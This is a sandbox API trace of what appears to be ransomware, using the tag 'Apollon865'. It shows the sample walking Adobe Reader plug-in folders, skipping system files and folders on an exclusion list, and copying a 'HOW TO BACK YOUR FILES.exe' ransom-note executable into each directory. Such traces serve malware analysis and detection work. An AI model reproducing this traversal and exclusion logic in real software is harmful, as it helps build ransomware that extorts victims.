	[0057.756] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2=".lnk") returned 1
	[0057.756] lstrlenW (lpString=".ini") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2=".ini") returned 1
	[0057.757] lstrlenW (lpString=".sys") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.DEU", lpString2=".sys") returned 1
	[0057.757] lstrlenW (lpString="WindowsMedia.DEU") returned 16
	[0057.757] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.ESP" | out: lpString1="WindowsMedia.ESP") returned="WindowsMedia.ESP"
	[0057.757] lstrlenW (lpString="WindowsMedia.ESP") returned 16
	[0057.757] lstrlenW (lpString="Apollon865") returned 10
	[0057.757] lstrcmpiW (lpString1="sMedia.ESP", lpString2="Apollon865") returned 1
	[0057.757] lstrlenW (lpString=".dll") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2=".dll") returned 1
	[0057.757] lstrlenW (lpString=".lnk") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2=".lnk") returned 1
	[0057.757] lstrlenW (lpString=".ini") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2=".ini") returned 1
	[0057.757] lstrlenW (lpString=".sys") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.ESP", lpString2=".sys") returned 1
	[0057.757] lstrlenW (lpString="WindowsMedia.ESP") returned 16
	[0057.757] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.EUQ" | out: lpString1="WindowsMedia.EUQ") returned="WindowsMedia.EUQ"
	[0057.757] lstrlenW (lpString="WindowsMedia.EUQ") returned 16
	[0057.757] lstrlenW (lpString="Apollon865") returned 10
	[0057.757] lstrcmpiW (lpString1="sMedia.EUQ", lpString2="Apollon865") returned 1
	[0057.757] lstrlenW (lpString=".dll") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2=".dll") returned 1
	[0057.757] lstrlenW (lpString=".lnk") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2=".lnk") returned 1
	[0057.757] lstrlenW (lpString=".ini") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2=".ini") returned 1
	[0057.757] lstrlenW (lpString=".sys") returned 4
	[0057.757] lstrcmpiW (lpString1="WindowsMedia.EUQ", lpString2=".sys") returned 1
	[0057.757] lstrlenW (lpString="WindowsMedia.EUQ") returned 16
	[0057.758] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.FRA" | out: lpString1="WindowsMedia.FRA") returned="WindowsMedia.FRA"
	[0057.758] lstrlenW (lpString="WindowsMedia.FRA") returned 16
	[0057.758] lstrlenW (lpString="Apollon865") returned 10
	[0057.758] lstrcmpiW (lpString1="sMedia.FRA", lpString2="Apollon865") returned 1
	[0057.758] lstrlenW (lpString=".dll") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2=".dll") returned 1
	[0057.758] lstrlenW (lpString=".lnk") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2=".lnk") returned 1
	[0057.758] lstrlenW (lpString=".ini") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2=".ini") returned 1
	[0057.758] lstrlenW (lpString=".sys") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.FRA", lpString2=".sys") returned 1
	[0057.758] lstrlenW (lpString="WindowsMedia.FRA") returned 16
	[0057.758] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.ITA" | out: lpString1="WindowsMedia.ITA") returned="WindowsMedia.ITA"
	[0057.758] lstrlenW (lpString="WindowsMedia.ITA") returned 16
	[0057.758] lstrlenW (lpString="Apollon865") returned 10
	[0057.758] lstrcmpiW (lpString1="sMedia.ITA", lpString2="Apollon865") returned 1
	[0057.758] lstrlenW (lpString=".dll") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2=".dll") returned 1
	[0057.758] lstrlenW (lpString=".lnk") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2=".lnk") returned 1
	[0057.758] lstrlenW (lpString=".ini") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2=".ini") returned 1
	[0057.758] lstrlenW (lpString=".sys") returned 4
	[0057.758] lstrcmpiW (lpString1="WindowsMedia.ITA", lpString2=".sys") returned 1
	[0057.758] lstrlenW (lpString="WindowsMedia.ITA") returned 16
	[0057.758] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.JPN" | out: lpString1="WindowsMedia.JPN") returned="WindowsMedia.JPN"
	[0057.758] lstrlenW (lpString="WindowsMedia.JPN") returned 16
	[0057.759] lstrlenW (lpString="Apollon865") returned 10
	[0057.759] lstrcmpiW (lpString1="sMedia.JPN", lpString2="Apollon865") returned 1
	[0057.759] lstrlenW (lpString=".dll") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2=".dll") returned 1
	[0057.759] lstrlenW (lpString=".lnk") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2=".lnk") returned 1
	[0057.759] lstrlenW (lpString=".ini") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2=".ini") returned 1
	[0057.759] lstrlenW (lpString=".sys") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.JPN", lpString2=".sys") returned 1
	[0057.759] lstrlenW (lpString="WindowsMedia.JPN") returned 16
	[0057.759] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.KOR" | out: lpString1="WindowsMedia.KOR") returned="WindowsMedia.KOR"
	[0057.759] lstrlenW (lpString="WindowsMedia.KOR") returned 16
	[0057.759] lstrlenW (lpString="Apollon865") returned 10
	[0057.759] lstrcmpiW (lpString1="sMedia.KOR", lpString2="Apollon865") returned 1
	[0057.759] lstrlenW (lpString=".dll") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2=".dll") returned 1
	[0057.759] lstrlenW (lpString=".lnk") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2=".lnk") returned 1
	[0057.759] lstrlenW (lpString=".ini") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2=".ini") returned 1
	[0057.759] lstrlenW (lpString=".sys") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.KOR", lpString2=".sys") returned 1
	[0057.759] lstrlenW (lpString="WindowsMedia.KOR") returned 16
	[0057.759] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.mpp" | out: lpString1="WindowsMedia.mpp") returned="WindowsMedia.mpp"
	[0057.759] lstrlenW (lpString="WindowsMedia.mpp") returned 16
	[0057.759] lstrlenW (lpString="Apollon865") returned 10
	[0057.759] lstrcmpiW (lpString1="sMedia.mpp", lpString2="Apollon865") returned 1
	[0057.759] lstrlenW (lpString=".dll") returned 4
	[0057.759] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2=".dll") returned 1
	[0057.759] lstrlenW (lpString=".lnk") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2=".lnk") returned 1
	[0057.760] lstrlenW (lpString=".ini") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2=".ini") returned 1
	[0057.760] lstrlenW (lpString=".sys") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.mpp", lpString2=".sys") returned 1
	[0057.760] lstrlenW (lpString="WindowsMedia.mpp") returned 16
	[0057.760] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.NLD" | out: lpString1="WindowsMedia.NLD") returned="WindowsMedia.NLD"
	[0057.760] lstrlenW (lpString="WindowsMedia.NLD") returned 16
	[0057.760] lstrlenW (lpString="Apollon865") returned 10
	[0057.760] lstrcmpiW (lpString1="sMedia.NLD", lpString2="Apollon865") returned 1
	[0057.760] lstrlenW (lpString=".dll") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2=".dll") returned 1
	[0057.760] lstrlenW (lpString=".lnk") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2=".lnk") returned 1
	[0057.760] lstrlenW (lpString=".ini") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2=".ini") returned 1
	[0057.760] lstrlenW (lpString=".sys") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NLD", lpString2=".sys") returned 1
	[0057.760] lstrlenW (lpString="WindowsMedia.NLD") returned 16
	[0057.760] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.NOR" | out: lpString1="WindowsMedia.NOR") returned="WindowsMedia.NOR"
	[0057.760] lstrlenW (lpString="WindowsMedia.NOR") returned 16
	[0057.760] lstrlenW (lpString="Apollon865") returned 10
	[0057.760] lstrcmpiW (lpString1="sMedia.NOR", lpString2="Apollon865") returned 1
	[0057.760] lstrlenW (lpString=".dll") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2=".dll") returned 1
	[0057.760] lstrlenW (lpString=".lnk") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2=".lnk") returned 1
	[0057.760] lstrlenW (lpString=".ini") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2=".ini") returned 1
	[0057.760] lstrlenW (lpString=".sys") returned 4
	[0057.760] lstrcmpiW (lpString1="WindowsMedia.NOR", lpString2=".sys") returned 1
	[0057.761] lstrlenW (lpString="WindowsMedia.NOR") returned 16
	[0057.761] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.PTB" | out: lpString1="WindowsMedia.PTB") returned="WindowsMedia.PTB"
	[0057.761] lstrlenW (lpString="WindowsMedia.PTB") returned 16
	[0057.761] lstrlenW (lpString="Apollon865") returned 10
	[0057.761] lstrcmpiW (lpString1="sMedia.PTB", lpString2="Apollon865") returned 1
	[0057.761] lstrlenW (lpString=".dll") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2=".dll") returned 1
	[0057.761] lstrlenW (lpString=".lnk") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2=".lnk") returned 1
	[0057.761] lstrlenW (lpString=".ini") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2=".ini") returned 1
	[0057.761] lstrlenW (lpString=".sys") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.PTB", lpString2=".sys") returned 1
	[0057.761] lstrlenW (lpString="WindowsMedia.PTB") returned 16
	[0057.761] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.SUO" | out: lpString1="WindowsMedia.SUO") returned="WindowsMedia.SUO"
	[0057.761] lstrlenW (lpString="WindowsMedia.SUO") returned 16
	[0057.761] lstrlenW (lpString="Apollon865") returned 10
	[0057.761] lstrcmpiW (lpString1="sMedia.SUO", lpString2="Apollon865") returned 1
	[0057.761] lstrlenW (lpString=".dll") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2=".dll") returned 1
	[0057.761] lstrlenW (lpString=".lnk") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2=".lnk") returned 1
	[0057.761] lstrlenW (lpString=".ini") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2=".ini") returned 1
	[0057.761] lstrlenW (lpString=".sys") returned 4
	[0057.761] lstrcmpiW (lpString1="WindowsMedia.SUO", lpString2=".sys") returned 1
	[0057.761] lstrlenW (lpString="WindowsMedia.SUO") returned 16
	[0057.761] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="WindowsMedia.SVE" | out: lpString1="WindowsMedia.SVE") returned="WindowsMedia.SVE"
	[0057.762] lstrlenW (lpString="WindowsMedia.SVE") returned 16
	[0057.762] lstrlenW (lpString="Apollon865") returned 10
	[0057.762] lstrcmpiW (lpString1="sMedia.SVE", lpString2="Apollon865") returned 1
	[0057.762] lstrlenW (lpString=".dll") returned 4
	[0057.762] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2=".dll") returned 1
	[0057.762] lstrlenW (lpString=".lnk") returned 4
	[0057.762] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2=".lnk") returned 1
	[0057.762] lstrlenW (lpString=".ini") returned 4
	[0057.762] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2=".ini") returned 1
	[0057.762] lstrlenW (lpString=".sys") returned 4
	[0057.762] lstrcmpiW (lpString1="WindowsMedia.SVE", lpString2=".sys") returned 1
	[0057.762] lstrlenW (lpString="WindowsMedia.SVE") returned 16
	[0057.762] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations"
	[0057.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0057.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0057.762] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned 68
	[0057.762] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations"
	[0057.762] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.762] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.767] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.767] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a801630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a801630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.768] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.768] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.768] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a801630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a801630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.768] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.768] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.768] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.768] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a801630, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3a801630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0057.768] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0057.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="Apollon865.txt.exe") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2=".") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="..") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="windows") returned -1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="bootmgr") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="temp") returned -1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="pagefile.sys") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="boot") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="ids.txt") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="ntuser.dat") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="perflogs") returned 1
	[0057.768] lstrcmpiW (lpString1="Stamps", lpString2="MSBuild") returned 1
	[0057.768] lstrlenW (lpString="Stamps") returned 6
	[0057.768] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*") returned 70
	[0057.768] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="Stamps" | out: lpString1="Stamps") returned="Stamps"
	[0057.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0057.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x599450
	[0057.768] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0057.768] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 0
	[0057.769] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0057.769] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0057.769] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps"
	[0057.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0057.769] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0057.769] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned 75
	[0057.769] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps"
	[0057.769] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0057.769] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0057.775] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0057.775] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a827790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a827790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0057.776] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.776] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0057.776] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0057.776] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3a827790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3a827790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0057.776] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.776] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0057.776] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0057.776] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0057.776] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="Apollon865.txt.exe") returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2=".") returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="..") returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="windows") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="bootmgr") returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="temp") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="pagefile.sys") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="boot") returned 1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="ids.txt") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="ntuser.dat") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="perflogs") returned -1
	[0057.776] lstrcmpiW (lpString1="CAT", lpString2="MSBuild") returned -1
	[0057.776] lstrlenW (lpString="CAT") returned 3
	[0057.776] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*") returned 77
	[0057.776] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="CAT" | out: lpString1="CAT") returned="CAT"
	[0057.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0057.776] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x599450
	[0057.776] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0057.776] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1
	[0057.776] lstrcmpiW (lpString1="CHS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0057.776] lstrcmpiW (lpString1="CHS", lpString2="Apollon865.txt.exe") returned 1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2=".") returned 1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="..") returned 1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="windows") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="bootmgr") returned 1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="temp") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="pagefile.sys") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="boot") returned 1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="ids.txt") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="ntuser.dat") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="perflogs") returned -1
	[0057.777] lstrcmpiW (lpString1="CHS", lpString2="MSBuild") returned -1
	[0057.777] lstrlenW (lpString="CHS") returned 3
	[0057.777] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned 79
	[0057.777] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="CHS" | out: lpString1="CHS") returned="CHS"
	[0057.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0057.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5994f8
	[0057.777] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
